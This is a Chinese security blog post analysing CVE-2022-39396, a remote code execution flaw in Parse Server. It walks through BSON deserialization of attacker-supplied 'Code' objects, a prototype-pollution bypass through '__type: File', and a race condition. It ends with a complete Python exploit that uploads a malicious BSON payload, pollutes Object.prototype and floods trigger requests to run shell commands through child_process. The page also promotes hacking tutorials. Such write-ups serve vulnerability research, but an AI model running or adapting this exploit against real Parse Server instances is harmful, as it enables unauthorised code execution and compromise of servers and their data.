Parse-server@CVE-2022-39396分析

新闻资讯   2023-07-12 12:04   41   0  

扫码领资料

获黑客教程

免费&进群


Parse-server漏洞分析

漏洞声明

Parse Server 用来解析并存储JSON对象的平台,可以作为express中间件或者Web Server 独立运行。云上应该很多业务拿这个SDK搞Serverless

根据公告,只有部分版本收到影响,且漏洞需要已知APPLICATION_ID (通常存储在配置文件或环境变量)

复现的话推荐使用官方安装方式,笔者本地[email protected]"">[email protected]

一个简单保存对象到后端Mongo数据库的例子如下

漏洞分析

Parse-server为了防止用户传入一些恶意的JSON属性值做了一些限制,先来看一下。定位到lib/RestWrite.js#79 ,在创建对象解析时有默认黑名单requestKeywordDenylist限制

当用户传递的对象字符串不满足requestKeywordDenylist的检查时会被程序抛出异常

同时对传入的外层对象进行属性名的正则判断,不允许_开头的字符串,比如_bsontype这样的字段

0x01-BSON反序列化

首先我们通过commit来看,作者增加createHandler函数代码功能,对HTTP请求参数metadatatags进行requestKeywordDenylist检查,同上文正常创建Object的安全检查保持一直。createHandlerparse/files/:filename的路由函数

再来看作者为了测试修补写的check-demo,应该能猜出上图的metadata参数就对应下图中obj这样的对象

简单阅读parse-server对http参数req.fileData的赋值,不难构造出这样的POST请求

发送请求后会在mongodb数据库的fs.files集合中生成下图所示的数据项,metadata字段为用户传递的POST参数,这些数据都经过BSON序列化处理

当我们通过/parse/files/exampleAppId/metadata/1ad79f676c84e1cdffbe37a8e650c469_RCE1.json 端点访问parse-server时,其会去mongodb中取出我们前文存储的Object序列化数据

既然有序列化存储,必然就有反序列化处理。从node处理mongodb返回结果的代码node_modules/bson/lib/bson/parser/deserializer.js 中,node获取BSON序列化的数据项并对其进行deserializeObject反序列化函数的处理,整个过程是递归deserializeObject的。

若上图中evalFunctions不为空则步入isolateEval函数,对functionString参数进行任意代码执行

那参数functionString如何生成呢?这和序列化的输入有关。

假如用户需要向mongodb数据集的某列中添加Objectnode会先检查Object是否存在_bsontype属性,再对不同类型的_bsontype进行序列化数据生成,比如定义标识符、索引……这点我们可以结合下图serializeCode函数来看,那么functionString就对应了_bsontypeCode时的序列化数据

也就是说,攻击者要能够对mongodb数据集插入可控的对象,并指定_bsontype字段,同时也要让程序反序列化这个BSON数据,前文提到的/parse/files/:filename路由就可以插入可控对象metadata/parse/files/metadata/:filename能够获取并反序列化这个对象,完全满足需求。剩下的工作就是找到一个原型链污染来满足evalFunctionstrue的条件。

0x02-原型链污染

src/Adapters/Storage/Mongo/MongoTransform.js代码中transformUpdate函数用来更新用户http请求传递的json对象到mongodb

  1. const transformUpdate = (className, restUpdate, parseFormatSchema) => {

  2. const mongoUpdate = {};

  3. ....

  4. var out = transformKeyValueForUpdate(

  5. className,

  6. restKey,

  7. restUpdate[restKey],

  8. parseFormatSchema

  9. );

  10. if (typeof out.value === 'object' && out.value !== null && out.value.__op) {

  11. mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};

  12. mongoUpdate[out.value.__op][out.key] = out.value.arg;

  13. } else {

  14. mongoUpdate['$set'] = mongoUpdate['$set'] || {};

  15. mongoUpdate['$set'][out.key] = out.value;

  16. }

  17. }

  18. return mongoUpdate;

  19. }

restKeyrestUpdate参数是用户的POST输入,out.value在经过transformKeyValueForUpdate函数处理后能够被用户部分可控

如果我们要达到前文(0x01部分)的污染利用,需要构造如下的条件

  • out.value._op = _proto__

  • out.key = evalFunctions

  • out.value.arg = true

然而程序内函数getObjectType严格检查了对象传递的键名,不允许__op键存在白名单以外的键值

继续深追transformKeyValueForUpdate 这个生成out对象的函数,在第#108行调用了transformTopLevelAtom函数,用来将传递的对象进行Toplevel处理。换句话说就是当用户传递的对象成员包含其他对象时,满足Atom类型的判断后,其他对象会被提升至Toplevel

步入transformTopLevelAtom 不难发现它实现的逻辑是判断该JSON对象属于哪类JSONCoder,而判别的依据xxCoder.isValidJSON的逻辑更简单,它完全信任用户传递的对象类型__type字段。

  1. function transformTopLevelAtom(atom, field) {

  2. if (atom.__type == 'Pointer') {

  3. return `${atom.className}$${atom.objectId}`;

  4. }

  5. if (DateCoder.isValidJSON(atom)) {

  6. return DateCoder.JSONToDatabase(atom);

  7. }

  8. if (BytesCoder.isValidJSON(atom)) {

  9. return BytesCoder.JSONToDatabase(atom);

  10. }

  11. if (GeoPointCoder.isValidJSON(atom)) {

  12. return GeoPointCoder.JSONToDatabase(atom);

  13. }

  14. if (PolygonCoder.isValidJSON(atom)) {

  15. return PolygonCoder.JSONToDatabase(atom);

  16. }

  17. if (FileCoder.isValidJSON(atom)) {

  18. return FileCoder.JSONToDatabase(atom);

  19. }

  20. }

  21. }

  22. isValidJSON(value) {

  23. return typeof value === 'object' && value !== null && value.__type === 'File';

  24. },

  25. JSONToDatabase(json) {

  26. return json.name;

  27. },

我们以FileCoder为例,若用户传递对象的__type字段值为File,那么将返回该对象的name字段作为新的out.value,简单发送PUT请求验证

  1. PUT /parse/classes/RCE1/1 HTTP/1.1

  2. Host: 192.168.56.200:1337

  3. X-Parse-Application-Id: exampleAppId

  4. Content-Type: application/json

  5. Content-Length: 103

  6. {

  7. "evalFunctions":{

  8. "__type":"File",

  9. "name":{

  10. "__op":"__proto__",

  11. "arg":true

  12. }

  13. }

  14. }

成功达到我们需要的条件,污染了原型链

0x03-BSON解析错误的问题

我们都知道,原型链污染对NodeJS运行的Server有不可估计的影响,因为我们不知道程序是否在关键的地方遍历了Object,再执行某些玄学的取值/赋值表达式。那么污染的property很可能会给整个程序带来undefined等致命的fatal error,不巧的是BSON序列化数据并发送给Mongodb进行交互时就存在这样的问题。

node是如何封装发给Mongodb的BSON数据呢?首先建立一个Buffer缓冲区,将所有要发送的JSON对象序列化为BSON数据后塞入Buffer缓冲区。而遍历JSON对象是用in取值实现的,这样就会取到原型链的属性。

接着判断属性值的类型并进行serializeBooleanserializeNumberserializeStringserializeDateserializeObjectId等操作,代码逻辑是将属性写入缓冲区,并且在缓冲区对应位置标记该数据类型。

这样序列化后的结果就是将原型链的属性也添加进缓冲区,一并发送给Mongodb

Mongodb在执行原语时并不会无视多余字段,所以mongodb服务端会造成异常,并终止后续数据库操作。设想我们已经污染了原型链的evalFunctions属性,此时服务端在执行db.collection('fs.files').findOne({id: '639eedaf0ca89ef5a0e4d4ed'})这样的语句后会爆出下图错误(OperationSessionInfo可能类似每次Client握手的原语对象,具体原因需要看mongoServer代码)

换句话说,如果我们向原型链添加一个属性后,后续的所有mongodb操作都会被服务端阻断,而且这相当于把服务端直接打挂了。可我们拿不到服务端返回的数据就没办法BSON反序列化,看似是个死锁的问题……但没有关系,条件竞争会出手:

1、创建恶意的BSON对象存入mongodb数据库;

2、多线程发送mongodb查询请求,期待获得mongodb返回给我们的bson序列化数据;

3、发送原型链污染请求;

4、恰好某个线程返回了bson序列化的数据到node的同时evalFunctions又被污染导致RCE,在RCE的语句中写入delete Object.prototype.evalFunctions,清除后续原型链的影响;

EXP

  1. import random

  2. import requests

  3. from concurrent.futures import ThreadPoolExecutor, wait

  4. # upload bad BSON data to MongoDB

  5. def upload(host, port, appid, payload):

  6. burp0_url = f"http://{host}:{port}/parse/files/{str(random.randint(1, 100))}"

  7. burp0_headers = {"Cache-Control": "max-age=0", "Content-Type": "application/json"}

  8. burp0_json = {"_ApplicationId": appid, "base64": "hpdoger", "fileData": {"metadata": {

  9. "obj": {"_bsontype": "Code",

  10. "code": payload}}}}

  11. try:

  12. resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json).json()

  13. return resp["url"]

  14. except Exception as e:

  15. print(e)

  16. return None

  17. # prototype pollution

  18. def pollution(host, port, appid):

  19. burp0_url = f"http://{host}:{port}/parse/classes/RCE1/{str(random.randint(1, 100))}"

  20. burp0_headers = {"X-Parse-Application-Id": appid, "Content-Type": "application/json"}

  21. burp0_json = {"evalFunctions": {"__type": "File", "name": {"__op": "__proto__", "arg": True}}}

  22. requests.put(burp0_url, headers=burp0_headers, json=burp0_json)

  23. # trigger RCE and to be thread competitive

  24. def trigger(appid, url):

  25. burp0_headers = {"X-Parse-Application-Id": appid}

  26. requests.get(url, headers=burp0_headers)

  27. if __name__ == '__main__':

  28. host = "192.168.56.200"

  29. port = "1337"

  30. appid = "exampleAppId"

  31. payload = "1;require('child_process').execSync('touch /tmp/pwned');delete Object.prototype.evalFunctions"

  32. trigger_url = upload(host, port, appid, payload)

  33. assert trigger_url is not None, "upload failed"

  34. # Create a thread pool with 4 worker threads

  35. with ThreadPoolExecutor(max_workers=300) as executor:

  36. # Start the load operations and mark each future with its URL

  37. executor.submit(pollution, host, port, appid)

  38. for _ in range(299):

  39. executor.submit(trigger, appid, trigger_url)

  40. print("[+]current task finished")

代码审计中踩的小坑

默认全局搜索代码段会将node_modules目录排除,即使你搜索整个项目的根目录也不会产生结果,需要右键node_modules目录并将其标记为mark as excluded 即可

原文地址:https://hpdoger.cn/2022/12/19/parse-server漏洞分析 c34843006f3741189cc953e8b35b13e9/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习


hack视频资料及工具

(部分展示)


往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧


文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。